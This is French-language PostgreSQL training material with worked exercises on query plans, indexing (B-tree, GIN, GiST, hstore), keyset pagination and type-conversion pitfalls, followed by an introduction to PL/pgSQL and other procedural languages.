EXPLAIN ANALYZE
SELECT * FROM voitures_orig
WHERE caracteristiques ~ E'[[:<:]]toit ouvrant[[:>:]]' ;
QUERY PLAN
--------------------------------------------------------------------------
Seq Scan on voitures_orig (cost=0.00..1962.00 rows=8419 width=25)
(actual time=0.030..92.226 rows=8358 loops=1)
Filter: (caracteristiques ~ '[[:<:]]toit ouvrant[[:>:]]'::text)
Rows Removed by Filter: 91642
Planning Time: 0.658 ms
Execution Time: 92.512 ms
Toute la table a été parcourue, 91 642 lignes ont été rejetées, 8358 retenues (~8 %). Les estimations statistiques sont correctes.
NB : pour la lisibilité, les plans n’utilisent pas l’option
BUFFERS
d’EXPLAIN
. Si on l’active, on pourra
vérifier que tous les accès se font bien dans le cache de PostgreSQL
(shared hits
).
Avec le nouveau schéma on peut écrire la requête simplement avec une simple jointure :
SELECT *
FROM voitures
INNER JOIN caracteristiques_voitures
ON ( caracteristiques_voitures.immatriculation=voitures.immatriculation)
WHERE caracteristique = 'toit ouvrant' ;
Il n’y a pas doublement de lignes si une caractéristique est en double car la clé primaire l’interdit. Sans cette contrainte, une autre écriture serait nécessaire :
SELECT *
FROM voitures
WHERE EXISTS (
SELECT 1 FROM caracteristiques_voitures
WHERE caracteristiques_voitures.immatriculation=voitures.immatriculation
AND caracteristique = 'toit ouvrant'
) ;
Dans les deux cas, on obtient ce plan :
QUERY PLAN
----------------------------------------------------------------------
Hash Join (cost=1225.80..3102.17 rows=8329 width=16)
(actual time=6.307..31.811 rows=8358 loops=1)
Hash Cond: (voitures.immatriculation = caracteristiques_voitures.immatriculation)
-> Seq Scan on voitures (cost=0.00..1613.89 rows=99989 width=16)
(actual time=0.019..10.432 rows=99989 loops=1)
-> Hash (cost=1121.69..1121.69 rows=8329 width=10)
(actual time=6.278..6.279 rows=8358 loops=1)
Buckets: 16384 Batches: 1 Memory Usage: 577kB
-> Seq Scan on caracteristiques_voitures
(cost=0.00..1121.69 rows=8329 width=10)
(actual time=0.004..5.077 rows=8358 loops=1)
Filter: (caracteristique = 'toit ouvrant'::text)
Rows Removed by Filter: 49697
Planning Time: 0.351 ms
Execution Time: 32.155 ms
Le temps d’exécution est ici plus court malgré un parcours complet de
voitures
. PostgreSQL prévoit correctement qu’il ramènera
10 % de cette table, ce qui n’est pas si discriminant et justifie
fréquemment un Seq Scan
, surtout que voitures
est petite. caracteristiques_voitures
est aussi parcourue
entièrement : faute d’index, il n’y a pas d’autre moyen.
Les plans sont-ils les mêmes si la caractéristique recherchée n’existe pas ?
Si on cherche une option rare ou n’existant pas, le plan change :
EXPLAIN ANALYZE
SELECT *
FROM voitures
INNER JOIN caracteristiques_voitures
ON ( caracteristiques_voitures.immatriculation=voitures.immatriculation)
WHERE caracteristique = 'ordinateur de bord' ;
QUERY PLAN
---------------------------------------------------------------------
Nested Loop (cost=0.42..1130.12 rows=1 width=16)
(actual time=4.849..4.850 rows=0 loops=1)
-> Seq Scan on caracteristiques_voitures (cost=0.00..1121.69 rows=1 width=10)
(actual time=4.848..4.848 rows=0 loops=1)
Filter: (caracteristique = 'ordinateur de bord'::text)
Rows Removed by Filter: 58055
-> Index Scan using voitures_pkey on voitures (cost=0.42..8.44 rows=1 width=16)
(never executed)
Index Cond: (immatriculation = caracteristiques_voitures.immatriculation)
Planning Time: 0.337 ms
Execution Time: 4.872 ms
Avec un seul résultat attendu, ce qui est beaucoup plus discriminant,
l’utilisation de l’index sur voitures
devient
pertinente.
Avec l’ancien schéma, on doit toujours lire la table
voitures_orig
en entier.
Indexer la colonne de clé étrangère
caracteristiques_voitures.carateristique
et voir ce que devient le plan de la dernière requête.
Le plan d’exécution
devient foudroyant, puisque la table
caracteristiques_voitures
n’est plus intégralement
lue :
EXPLAIN ANALYZE
SELECT *
FROM voitures
INNER JOIN caracteristiques_voitures
ON ( caracteristiques_voitures.immatriculation=voitures.immatriculation)
WHERE caracteristique = 'ordinateur de bord' ;
QUERY PLAN
---------------------------------------------------------------------
Nested Loop (cost=0.83..16.78 rows=1 width=16)
(actual time=0.010..0.011 rows=0 loops=1)
-> Index Scan using caracteristiques_voitures_caracteristique_idx
on caracteristiques_voitures
(cost=0.41..8.35 rows=1 width=10)
(actual time=0.010..0.010 rows=0 loops=1)
Index Cond: (caracteristique = 'ordinateur de bord'::text)
-> Index Scan using voitures_pkey on voitures (cost=0.42..8.44 rows=1 width=16)
(never executed)
Index Cond: (immatriculation = caracteristiques_voitures.immatriculation)
Planning Time: 0.268 ms
Execution Time: 0.035 ms
Avec voitures_orig
, il existerait aussi des méthodes
d’indexation mais elles sont plus lourdes (index GIN…).
Rechercher une voitures possédant les 3 options ABS, toit ouvrant et 4 roues motrices, et voir le plan.
Si on recherche plusieurs options en même temps, l’optimiseur peut améliorer les choses en prenant en compte la fréquence de chaque option pour restreindre plus efficacement les recherches. Le plan devient :
EXPLAIN (ANALYZE, COSTS OFF)
SELECT *
FROM voitures
JOIN caracteristiques_voitures AS cr1 USING (immatriculation)
JOIN caracteristiques_voitures AS cr2 USING (immatriculation)
JOIN caracteristiques_voitures AS cr3 USING (immatriculation)
WHERE cr1.caracteristique = 'toit ouvrant'
AND cr2.caracteristique = 'abs'
AND cr3.caracteristique='4 roues motrices' ;
QUERY PLAN
--------------------------------------------------------------------------------
Nested Loop
-> Hash Join
Hash Cond: (cr2.immatriculation = cr1.immatriculation)
-> Bitmap Heap Scan on caracteristiques_voitures cr2
Recheck Cond: (caracteristique = 'abs'::text)
-> Bitmap Index Scan on caracteristiques_voitures_caracteristique_idx
Index Cond: (caracteristique = 'abs'::text)
-> Hash
-> Hash Join
Hash Cond: (cr1.immatriculation = cr3.immatriculation)
-> Bitmap Heap Scan on caracteristiques_voitures cr1
Recheck Cond: (caracteristique = 'toit ouvrant'::text)
-> Bitmap Index Scan
on caracteristiques_voitures_caracteristique_idx
Index Cond: (caracteristique = 'toit ouvrant'::text)
-> Hash
-> Bitmap Heap Scan on caracteristiques_voitures cr3
Recheck Cond: (caracteristique =
'4 roues motrices'::text)
-> Bitmap Index Scan
on caracteristiques_voitures_caracteristique_idx
Index Cond: (caracteristique =
'4 roues motrices'::text)
-> Index Scan using voitures_pkey on voitures
Index Cond: (immatriculation = cr1.immatriculation)
Ce plan parcoure deux index, joins leurs résultats, fait de même avec
le résultat de l’index pour la 3è caractéristique, puis opère la
jointure finale avec la table principale par l’index sur
immatriculation
(un plan complet indiquerait une estimation
de 56 lignes de résultat, même si le résultat final est de 461
lignes).
Mais les problématiques de performances ne sont pas le plus important
dans ce cas. Ce qu’on gagne réellement, c’est la garantie que les
caractéristiques ne seront que celles existant dans la table
caractéristique
, ce qui évite d’avoir à réparer la base
plus tard.
Afficher toutes les caractéristiques d’une voiture au hasard (par exemple ZY-745-KT).
entite | cle | valeur
-----------+-----------------------+--------
ZY-745-KT | climatisation | t
ZY-745-KT | jantes aluminium | t
ZY-745-KT | regulateur de vitesse | t
ZY-745-KT | toit ouvrant | t
Trouver toutes les caractéristiques de toutes les voitures ayant un toit ouvrant dans
voitures_ecv
. Trier par immatriculation. Quel est le plan d’exécution ?
Autrement dit : on sélectionne toutes les voitures avec un toit ouvrant, et l’on veut toutes les caractéristiques de ces voitures. Cela nécessite d’appeler deux fois la table.
Là encore une jointure de la table avec elle-même sur
entite
serait possible, mais serait dangereuse dans les cas
où il y a énormément de propriétés. On préférera encore la version avec
EXISTS
, et PostgreSQL en fera spontanément une jointure :
EXPLAIN ANALYZE
SELECT * FROM voitures_ecv
WHERE EXISTS (
SELECT 1 FROM voitures_ecv test
WHERE test.entite=voitures_ecv.entite
AND cle = 'toit ouvrant' AND valeur = true
)
ORDER BY entite ;
QUERY PLAN
---------------------------------------------------------------------
Sort (cost=3468.93..3507.74 rows=15527 width=25)
(actual time=29.854..30.692 rows=17782 loops=1)
Sort Key: voitures_ecv.entite
Sort Method: quicksort Memory: 2109kB
-> Hash Join (cost=1243.09..2388.05 rows=15527 width=25)
(actual time=6.915..23.964 rows=17782 loops=1)
Hash Cond: (voitures_ecv.entite = test.entite)
-> Seq Scan on voitures_ecv (cost=0.00..992.55 rows=58055 width=25)
(actual time=0.006..4.242 rows=58055 loops=1)
-> Hash (cost=1137.69..1137.69 rows=8432 width=10)
(actual time=6.899..6.899 rows=8358 loops=1)
Buckets: 16384 Batches: 1 Memory Usage: 471kB
-> Seq Scan on voitures_ecv test
(cost=0.00..1137.69 rows=8432 width=10)
(actual time=0.005..5.615 rows=8358 loops=1)
Filter: (valeur AND (cle = 'toit ouvrant'::text))
Rows Removed by Filter: 49697
Planning Time: 0.239 ms
Execution Time: 31.321 ms
Installer l’extension
hstore
. Convertir cette table pour qu’elle utilise une ligne par immatriculation, avec les caractéristiques dans un champhstore
. Une méthode simple est de récupérer les lignes d’une même immatriculation avec la fonctionarray_agg
puis de convertir simplement en champhstore
.
hstore
est normalement présente sur toutes les
installations (ou alors l’administrateur a négligé d’installer le paquet
contrib
). Il suffit donc d’une déclaration.
CREATE EXTENSION hstore;
CREATE TABLE voitures_hstore
AS
SELECT entite AS immatriculation,
hstore(array_agg(cle),array_agg(valeur)::text[]) AS caracteristiques
FROM voitures_ecv group by entite;
ALTER TABLE voitures_hstore ADD PRIMARY KEY (immatriculation);
Rechercher la voiture précédente.
-[ RECORD 1 ]----+--------------------------------------------------------------
immatriculation | ZY-745-KT
caracteristiques | "toit ouvrant"=>"true", "climatisation"=>"true",
| "jantes aluminium"=>"true", "regulateur de vitesse"=>"true"
L’accès à une caractéristique se fait ainsi (attention aux espaces) :
SELECT immatriculation, caracteristiques -> 'climatisation'
FROM voitures_hstore
WHERE immatriculation = 'ZY-745-KT' ;
Insérer une voiture avec les caractéristiques
couleur=>vert
etphares=>LED
.
Définir un index de type GiST sur ce champ
hstore
. Retrouver la voiture insérée par ses caractéristiques.
Les index B-tree classiques sont inadaptés aux types complexes, on préfère donc un index GiST :
L’opérateur @>
signifie « contient » :
SELECT *
FROM voitures_hstore
WHERE caracteristiques @> 'couleur=>vert' AND caracteristiques @> 'phares=>LED' ;
QUERY PLAN
---------------------------------------------------------------------
Index Scan using voitures_hstore_caracteristiques on voitures_hstore
(cost=0.28..2.30 rows=1 width=55) (actual time=0.033..0.033 rows=1 loops=1)
Index Cond: ((caracteristiques @> '"couleur"=>"vert"'::hstore)
AND (caracteristiques @> '"phares"=>"LED"'::hstore))
Buffers: shared hit=4
Planning Time: 0.055 ms
Execution Time: 0.047 ms
Trouver cette fonction dans la documentation de PostgreSQL (chercher dans les fonctions de découpage de chaîne de caractères).
La fonction est regexp_split_to_array
(sa documentation
est sur https://docs.postgresql.fr/15/functions-matching.html) :
SELECT immatriculation, modele,
regexp_split_to_array(caracteristiques,',')
FROM voitures_orig
LIMIT 10;
immatriculation | modele | regexp_split_to_array
-----------------+--------+-----------------------------------------
WW-649-AI | twingo | {"regulateur de vitesse"}
QZ-533-JD | clio | {"4 roues motrices","jantes aluminium"}
YY-854-LE | megane | {climatisation}
QD-761-QV | twingo | {""}
LV-277-QC | megane | {abs,"jantes aluminium"}
ZI-003-BQ | kangoo | {"boite automatique",climatisation}
WT-817-IK | megane | {""}
JK-791-XB | megane | {""}
WW-019-EK | megane | {""}
BZ-544-OS | twingo | {""}
La syntaxe {}
est la représentation texte d’un
tableau.
Définir un index fonctionnel sur le résultat de cette fonction, de type GIN.
CREATE INDEX idx_voitures_array ON voitures_orig
USING gin (regexp_split_to_array(caracteristiques,','));
Rechercher toutes les voitures avec toit ouvrant et voir le plan.
EXPLAIN ANALYZE
SELECT * FROM voitures_orig
WHERE regexp_split_to_array(caracteristiques,',') @> '{"toit ouvrant"}';
QUERY PLAN
--------------------------------------------------------------------------------
Bitmap Heap Scan on voitures_orig (cost=8.87..387.37 rows=500 width=25)
(actual time=0.707..2.756 rows=8358 loops=1)
Recheck Cond: (regexp_split_to_array(caracteristiques, ','::text)
@> '{"toit ouvrant"}'::text[])
Heap Blocks: exact=712
-> Bitmap Index Scan on idx_voitures_array (cost=0.00..8.75 rows=500 width=0)
(actual time=0.631..0.631 rows=8358 loops=1)
Index Cond: (regexp_split_to_array(caracteristiques, ','::text)
@> '{"toit ouvrant"}'::text[])
Planning Time: 0.129 ms
Execution Time: 3.028 ms
Noter que les estimations de statistiques sont plus délicates sur un résultat de fonction.
Écrire une requête permettant de récupérer les 10 premiers posts de l’article d’
id_article
=12
, triés dans l’ordre deid_post
. Il n’y a pas d’index, la requête va être très lente.
Le plan est un parcours complet de la table, rejetant 4 999 000 lignes et en gardant 1000 lignes, suivi d’un tri :
QUERY PLAN
------------------------------------------------------------------------------
Limit (cost=153694.51..153694.53 rows=10 width=115)
(actual time=500.525..500.528 rows=10 loops=1)
-> Sort (cost=153694.51..153696.95 rows=979 width=115)
(actual time=500.524..500.525 rows=10 loops=1)
Sort Key: id_post
Sort Method: top-N heapsort Memory: 27kB
-> Seq Scan on posts (cost=0.00..153673.35 rows=979 width=115)
(actual time=1.300..500.442 rows=1000 loops=1)
Filter: (id_article = 12)
Rows Removed by Filter: 4999000
Planning Time: 0.089 ms
Execution Time: 500.549 ms
Créer un index permettant d’améliorer cette requête.
Un index sur id_article
améliorerait déjà les choses.
Mais comme on trie sur id_post
, il est intéressant de
rajouter aussi cette colonne dans l’index :
Testons cet index :
Le plan devient :
QUERY PLAN
---------------------------------------------------------
Limit (cost=0.43..18.26 rows=10 width=115)
(actual time=0.043..0.053 rows=10 loops=1)
-> Index Scan using posts_id_article_id_post on posts
(cost=0.43..1745.88 rows=979 width=115)
(actual time=0.042..0.051 rows=10 loops=1)
Index Cond: (id_article = 12)
Planning Time: 0.204 ms
Execution Time: 0.066 ms
C’est beaucoup plus rapide : l’index trouve tout de suite les lignes
de l’article cherché, et retourne les enregistrements directement triés
par id_post
. On évite de parcourir toute la table, et il
n’y a même pas d’étape de tri (qui serait certes très rapide sur 10
lignes).
Utiliser les clauses
LIMIT
etOFFSET
pour récupérer les 10 posts suivants. Puis du post 901 au 921. Que constate-t-on sur le plan d’exécution ?
Les posts 11 à 20 se trouvent rapidement :
QUERY PLAN
---------------------------------------------------------
Limit (cost=18.26..36.09 rows=10 width=115)
(actual time=0.020..0.023 rows=10 loops=1)
-> Index Scan using posts_id_article_id_post on posts
(cost=0.43..1745.88 rows=979 width=115)
(actual time=0.017..0.021 rows=20 loops=1)
Index Cond: (id_article = 12)
Planning Time: 0.061 ms
Execution Time: 0.036 ms
Tout va bien. La requête est à peine plus coûteuse. Noter que l’index a ramené 20 lignes et non 10.
À partir du post 900 :
Le plan reste similaire :
QUERY PLAN
---------------------------------------------------------
Limit (cost=1605.04..1622.86 rows=10 width=115)
(actual time=0.216..0.221 rows=10 loops=1)
-> Index Scan using posts_id_article_id_post on posts
(cost=0.43..1745.88 rows=979 width=115)
(actual time=0.018..0.194 rows=910 loops=1)
Index Cond: (id_article = 12)
Planning Time: 0.062 ms
Execution Time: 0.243 ms
Cette requête est 4 fois plus lente. Si une exécution unitaire ne pose pas encore problème, des demandes très répétées poseraient problème. Noter que l’index ramène 910 lignes ! Dans notre exemple idéalisée, les posts sont bien rangés ensemble, et souvent présents dans les mêmes blocs. C’est très différent dans une table qui beaucoup vécu.
Trouver une réécriture de la requête pour trouver directement les posts 901 à 911 une fois connu le post 900 récupéré au travers de la pagination.
Pour se mettre dans la condition du test, récupérons l’enregistrement 900 :
(La valeur retournée peut différer sur une autre base.)
Il suffit donc de récupérer les 10 articles pour lesquels
id_article = 12
et id_post > 12900
:
EXPLAIN ANALYZE
SELECT *
FROM posts
WHERE id_article = 12
AND id_post> 12900
ORDER BY id_post
LIMIT 10;
QUERY PLAN
----------------------------------------------------------------
Limit (cost=0.43..18.29 rows=10 width=115)
(actual time=0.018..0.024 rows=10 loops=1)
-> Index Scan using posts_id_article_id_post on posts
(cost=0.43..1743.02 rows=976 width=115)
(actual time=0.016..0.020 rows=10 loops=1)
Index Cond: ((id_article = 12) AND (id_post > 12900))
Planning Time: 0.111 ms
Execution Time: 0.039 ms
Nous sommes de retour à des temps d’exécution très faibles. Ajouter
la condition sur le id_post
permet de limiter à la source
le nombre de lignes à récupérer. L’index n’en renvoie bien que 10.
L’avantage de cette technique par rapport à l’offset est que le temps d’une requête ne variera que l’on chercher la première ou la millième page.
L’inconvénient est qu’il faut mémoriser l’id_post
où
l’on s’est arrêté sur la page précédente.
Nous allons maintenant manipuler le champ ts
(de type
timestamp
) de la table posts
.
La requête
SELECT * FROM posts WHERE to_char(ts,'YYYYMM')='201302'
retourne tous les enregistrements de février 2013. Examiner son plan d’exécution. Où est le problème ?
Le plan est un parcours complet de la table :
QUERY PLAN
---------------------------------------------------------------------
Seq Scan on posts (cost=0.00..187728.49 rows=50000 width=269)
(actual time=0.380..14163.371 rows=18234 loops=1)
Filter: (to_char(ts, 'YYYYMM'::text) = '201302'::text)
Rows Removed by Filter: 9981766
Total runtime: 14166.265 ms
C’est normal : PostgreSQL ne peut pas deviner que
to_char(ts,'YYYYMM')='201302'
veut dire « toutes les dates
du mois de février 2013 ». Une fonction est pour lui une boîte noire, et
il ne voit pas le lien entre le résultat attendu et les données qu’il va
lire.
Ceci est une des causes les plus habituelles de ralentissement de requêtes : une fonction est appliquée à une colonne, ce qui rend le filtre incompatible avec l’utilisation d’un index.
Réécrire la clause
WHERE
avec une inégalité de dates pour utiliser l’index surts
.
C’est à nous d’indiquer une clause WHERE
au moteur qu’il
puisse directement appliquer sur notre date :
Le plan montre que l’index est maintenant utilisable :
QUERY PLAN
-------------------------------------------------------------------------------
Index Scan using posts_ts_idx on posts (cost=0.43..998.95 rows=20165 width=115)
(actual time=0.050..5.907 rows=20160 loops=1)
Index Cond: ((ts >= '2013-02-01 00:00:00+01'::timestamp with time zone)
AND (ts < '2013-03-01 00:00:00+01'::timestamp with time zone))
Planning Time: 0.095 ms
Execution Time: 6.526 ms
Noter la conversion automatique du critère en
timestamp with time zone
.
Plus compliqué : retourner tous les posts ayant eu lieu un dimanche, en 2013, en passant par un index et en une seule requête. (Indice : il est possible de générer la liste de tous les dimanches de l’année 2013 avec
generate_series('2013-01-06 00:00:00','2014-01-01 00:00:00', INTERVAL '7 days')
)
Construisons cette requête morceau par morceau. Listons tous les dimanches de 2013 (le premier dimanche est le 6 janvier) :
S’il faut calculer le premier dimanche de l’année, cela peut se faire ainsi :
WITH premiersjours AS (
SELECT '2000-01-01'::timestamp + i * interval '1 year' AS jan1
FROM generate_series(1, 30) i
),
dimanches AS (
SELECT jan1,
jan1
+ mod(13-extract(dow FROM (jan1 - interval '1 day'))::int, 7)
+ interval '1 day'
AS dim1
FROM premiersjours
)
SELECT jan1, dim1
FROM dimanches ;
On n’a encore que des dates à minuit. Il faut calculer les heures de début et de fin de chaque dimanche :
SELECT i AS debut,
i + INTERVAL '1 day' AS fin
FROM generate_series(
'2013-01-06 00:00:00',
'2013-12-31 00:00:00',
INTERVAL '7 days'
) g(i) ;
debut | fin
------------------------+------------------------
2013-01-06 00:00:00+01 | 2013-01-07 00:00:00+01
2013-01-13 00:00:00+01 | 2013-01-14 00:00:00+01
...
2013-12-29 00:00:00+01 | 2013-12-30 00:00:00+01
Il ne nous reste plus qu’à joindre ces deux ensembles. Comme clause de jointure, on teste la présence de la date du post dans un des intervalles des dimanches :
EXPLAIN ANALYZE
WITH dimanches AS (
SELECT i AS debut,
i + INTERVAL '1 day' AS fin
FROM generate_series(
'2013-01-06 00:00:00',
'2013-12-31 00:00:00',
INTERVAL '7 days'
) g(i)
)
SELECT posts.*
FROM posts
JOIN dimanches
ON (posts.ts >= dimanches.debut AND posts.ts < dimanches.fin) ;
Le plan devient :
QUERY PLAN
------------------------------------------------------------------------------
Nested Loop (cost=0.44..17086517.00 rows=555555556 width=115)
(actual time=0.038..12.978 rows=37440 loops=1)
-> Function Scan on generate_series g (cost=0.00..10.00 rows=1000 width=8)
(actual time=0.016..0.031 rows=52 loops=1)
-> Index Scan using posts_ts_idx on posts
(cost=0.43..11530.95 rows=555556 width=115)
(actual time=0.009..0.168 rows=720 loops=52)
Index Cond: ((ts >= g.i) AND (ts < (g.i + '1 day'::interval)))
Planning Time: 0.131 ms
Execution Time: 14.178 ms
PostgreSQL génère les 52 lignes d’intervalles (noter qu’il ne sait
pas estimer le résultat de cette fonction), puis fait 52 appels à
l’index (noter le loops=52
). C’est efficace.
Attention : des inéqui-jointures entraînent forcément des nested loops (pour chaque ligne d’une table, on va chercher les lignes d’une autre table). Sur de grands volumes, ce ne peut pas être efficace. Ici, tout va bien parce que la liste des dimanches est raisonnablement courte.
On cherche un article à peu près au tiers de la liste avec la requête suivante. Pourquoi est-elle si lente ?
Le plan est :
QUERY PLAN
--------------------------------------------------------------------------------
Seq Scan on posts (cost=0.48..166135.48 rows=25000 width=115)
(actual time=333.363..1000.696 rows=1000 loops=1)
Filter: ((id_article)::numeric = $1)
Rows Removed by Filter: 4999000
InitPlan 2 (returns $1)
-> Result (cost=0.46..0.48 rows=1 width=32)
(actual time=0.016..0.017 rows=1 loops=1)
InitPlan 1 (returns $0)
-> Limit (cost=0.43..0.46 rows=1 width=4)
(actual time=0.012..0.014 rows=1 loops=1)
-> Index Only Scan Backward using posts_id_article_id_post
on posts posts_1
(cost=0.43..142352.43 rows=5000000 width=4)
(actual time=0.012..0.012 rows=1 loops=1)
Index Cond: (id_article IS NOT NULL)
Heap Fetches: 0
Planning Time: 0.097 ms
Execution Time: 1000.753 ms
Ce plan indique une recherche du numéro d’article maximal (il est
dans l’index ; noter que PostgreSQL restreint à une valeur non vide),
puis il calcule la valeur correspondant au tiers et la met dans
$1
. Tout ceci est rapide. La partie lente est le
Seq Scan
pour retrouver cette valeur, avec un filtre et non
par l’index.
Le problème est visible sur le filtre même :
(id_article)::numeric
signifie que tous les
id_article
(des entiers) sont convertis en
numeric
pour ensuite être comparés au $1
. Or
une conversion est une fonction, ce qui rend l’index inutilisable. En
fait, notre problème est que $1
n’est pas un entier !
La conversion du critère en int
peut se faire à
plusieurs endroits. Par exemple :
Et l’index est donc utilisable immédiatement :
QUERY PLAN
-------------------------------------------------------------------------------
Index Scan using posts_id_article_id_post on posts
(cost=0.91..1796.42 rows=1007 width=115)
(actual time=0.031..0.198 rows=1000 loops=1)
Index Cond: (id_article = ($1)::integer)
InitPlan 2 (returns $1)
-> Result (cost=0.46..0.48 rows=1 width=32) (...)
InitPlan 1 (returns $0)
-> Limit (cost=0.43..0.46 rows=1 width=4) (...)
-> Index Only Scan Backward using posts_id_article_id_post
on posts posts_1 (...)
Index Cond: (id_article IS NOT NULL)
Heap Fetches: 0
Planning Time: 0.105 ms
Execution Time: 0.245 ms
Si l’on avait fait le calcul avec / 3
au lieu de
* 0.333
, on n’aurait pas eu le problème, car la division de
deux entiers donne un entier.
Attention donc à la cohérence des types dans vos critères. Le
problème peut se rencontrer même en joignant des int
et des
bigint
!
Ce module présente la programmation PL/pgSQL. Il commence par décrire les routines stockées et les différents langages disponibles. Puis il aborde les bases du langage PL/pgSQL, autrement dit :
PL est l’acronyme de « Procedural Languages ». En dehors du C et du SQL, tous les langages acceptés par PostgreSQL sont des PL.
Par défaut, trois langages sont installés et activés : C, SQL et PL/pgSQL.
Les quatre langages PL supportés nativement (en plus du C et du SQL bien sûr) sont décrits en détail dans la documentation officielle :
D’autres langages PL sont accessibles en tant qu’extensions tierces. Les plus stables sont mentionnés dans la documentation, comme PL/Java ou PL/R. Ils réclament généralement d’installer les bibliothèques du langage sur le serveur.
Une liste plus large est par ailleurs disponible sur le wiki PostgreSQL, Il en ressort qu’au moins 16 langages sont disponibles, dont 10 installables en production. De plus, il est possible d’en ajouter d’autres, comme décrit dans la documentation.
Les langages de confiance ne peuvent accéder qu’à la base de données. Ils ne peuvent pas accéder aux autres bases, aux systèmes de fichiers, au réseau, etc. Ils sont donc confinés, ce qui les rend moins facilement utilisables pour compromettre le système. PL/pgSQL est l’exemple typique. Mais de ce fait, ils offrent moins de possibilités que les autres langages.
Seuls les superutilisateurs peuvent créer une routine dans un langage untrusted. Par contre, ils peuvent ensuite donner les droits d’exécution à ces routines aux autres rôles dans la base :
La question se pose souvent de placer la logique applicative du côté de la base, dans un langage PL, ou des clients. Il peut y avoir de nombreuses raisons en faveur de la première option. Simplifier et centraliser des traitements clients directement dans la base est l’argument le plus fréquent. Par exemple, une insertion complexe dans plusieurs tables, avec mise en place d’identifiants pour liens entre ces tables, peut évidemment être écrite côté client. Il est quelquefois plus pratique de l’écrire sous forme de PL. Les avantages sont :
Centralisation du code :
Si plusieurs applications ont potentiellement besoin d’opérer un même traitement, à fortiori dans des langages différents, porter cette logique dans la base réduit d’autant les risques de bugs et facilite la maintenance.
Une règle peut être que tout ce qui a trait à l’intégrité des données devrait être exécuté au niveau de la base.
Performances :
Le code s’exécute localement, directement dans le moteur de la base. Il n’y a donc pas tous les changements de contexte et échanges de messages réseaux dus à l’exécution de nombreux ordres SQL consécutifs. L’impact de la latence due au trafic réseau de la base au client est souvent sous-estimée.
Les langages PL permettent aussi d’accéder à leurs bibliothèques spécifiques (extrêmement nombreuses en python ou perl, entre autres).
Une fonction en PL peut également servir à l’indexation des données. Cela est impossible si elle se calcule sur une autre machine.
Simplicité :
Suivant le besoin, un langage PL peut être bien plus pratique que le langage client.
Il est par exemple très simple d’écrire un traitement d’insertion/mise à jour en PL/pgSQL, le langage étant créé pour simplifier ce genre de traitements, et la gestion des exceptions pouvant s’y produire. Si vous avez besoin de réaliser du traitement de chaîne puissant, ou de la manipulation de fichiers, PL/Perl ou PL/Python seront probablement des options plus intéressantes car plus performantes, là aussi utilisables dans la base.
La grande variété des différents langages PL supportés par PostgreSQL permet normalement d’en trouver un correspondant aux besoins et aux langages déjà maîtrisés dans l’entreprise.
Les langages PL permettent donc de rajouter une couche d’abstraction et d’effectuer des traitements avancés directement en base.
Le langage étant assez ancien, proche du Pascal et de l’ADA, sa syntaxe ne choquera personne. Elle est d’ailleurs très proche de celle du PLSQL d’Oracle.
Le PL/pgSQL permet d’écrire des requêtes directement dans le code PL sans déclaration préalable, sans appel à des méthodes complexes, ni rien de cette sorte. Le code SQL est mélangé naturellement au code PL, et on a donc un sur-ensemble procédural de SQL.
PL/pgSQL étant intégré à PostgreSQL, il hérite de tous les types déclarés dans le moteur, même ceux rajoutés par l’utilisateur. Il peut les manipuler de façon transparente.
PL/pgSQL est trusted. Tous les utilisateurs peuvent donc
créer des routines dans ce langage (par défaut). Vous pouvez toujours
soit supprimer le langage, soit retirer les droits à un utilisateur sur
ce langage (via la commande SQL REVOKE
).
PL/pgSQL est donc raisonnablement facile à utiliser : il y a peu de complications, peu de pièges, et il dispose d’une gestion des erreurs évoluée (gestion d’exceptions).
Les langages PL « autres », comme PL/perl et PL/Python (les deux plus utilisés après PL/pgSQL), sont bien plus évolués que PL/PgSQL. Par exemple, ils sont bien plus efficaces en matière de traitement de chaînes de caractères, possèdent des structures avancées comme des tables de hachage, permettent l’utilisation de variables statiques pour maintenir des caches, voire, pour leur version untrusted, peuvent effectuer des appels systèmes. Dans ce cas, il devient possible d’appeler un service web par exemple, ou d’écrire des données dans un fichier externe.
Il existe des langages PL spécialisés. Le plus emblématique d’entre eux est PL/R. R est un langage utilisé par les statisticiens pour manipuler de gros jeux de données. PL/R permet donc d’effectuer ces traitements R directement en base, traitements qui seraient très pénibles à écrire dans d’autres langages, et avec une latence dans le transfert des données.
Il existe aussi un langage qui est, du moins sur le papier, plus rapide que tous les langages cités précédemment : vous pouvez écrire des procédures stockées en C, directement. Elles seront compilées à l’extérieur de PostgreSQL, en respectant un certain formalisme, puis seront chargées en indiquant la bibliothèque C qui les contient et leurs paramètres et types de retour.Mais attention : toute erreur dans le code C est susceptible d’accéder à toute la mémoire visible par le processus PostgreSQL qui l’exécute, et donc de corrompre les données. Il est donc conseillé de ne faire ceci qu’en dernière extrémité.
Le gros défaut est simple et commun à tous ces langages : ils ne sont
pas spécialement conçus pour s’exécuter en tant que langage de
procédures stockées. Ce que vous utilisez quand vous écrivez du PL/Perl
est donc du code Perl, avec quelques fonctions supplémentaires
(préfixées par spi
) pour accéder à la base de données ; de
même en C. L’accès aux données est assez fastidieux au niveau
syntaxique, comparé à PL/pgSQL.
Un autre problème des langages PL (autre que C et PL/pgSQL), est que ces langages n’ont pas les mêmes types natifs que PostgreSQL, et s’exécutent dans un interpréteur relativement séparé. Les performances sont donc moindres que PL/pgSQL et C, pour les traitements dont le plus consommateur est l’accès aux données. Souvent, le temps de traitement dans un de ces langages plus évolués est tout de même meilleur grâce au temps gagné par les autres fonctionnalités (la possibilité d’utiliser un cache, ou une table de hachage par exemple).
COMMIT
/
ROLLBACK
SELECT
TRIGGER
, agrégat, fenêtrageLes programmes écrits à l’aide des langages PL sont habituellement enregistrés sous forme de « routines » :
Le code source de ces objets est stocké dans la table
pg_proc
du catalogue.
Les procédures, apparues avec PostgreSQL 11, sont très similaires aux fonctions. Les principales différences entre les deux sont :
RETURNS
ou arguments OUT
). Elles peuvent
renvoyer n’importe quel type de donnée, ou des ensembles de lignes. Il
est possible d’utiliser void
pour une fonction sans
argument de sortie ; c’était d’ailleurs la méthode utilisée pour émuler
le comportement d’une procédure avant leur introduction avec PostgreSQL
11. Les procédures n’ont pas de code retour (on peut cependant utiliser
des paramètres OUT
ou INOUT
).COMMIT
) ou annuler
(ROLLBACK
) les modifications effectuées jusqu’à ce point
par la procédure. L’intégralité d’une fonction s’effectue dans la
transaction appelante.CALL
; les fonctions peuvent être appelées dans la plupart
des ordres DML/DQL (notamment SELECT
), mais pas par
CALL
.Pour savoir si PL/Perl ou PL/Python a été compilé, on peut demander à
pg_config
:
pg_config --configure
'--prefix=/usr/local/pgsql-10_icu' '--enable-thread-safety'
'--with-openssl' '--with-libxml' '--enable-nls' '--with-perl' '--enable-debug'
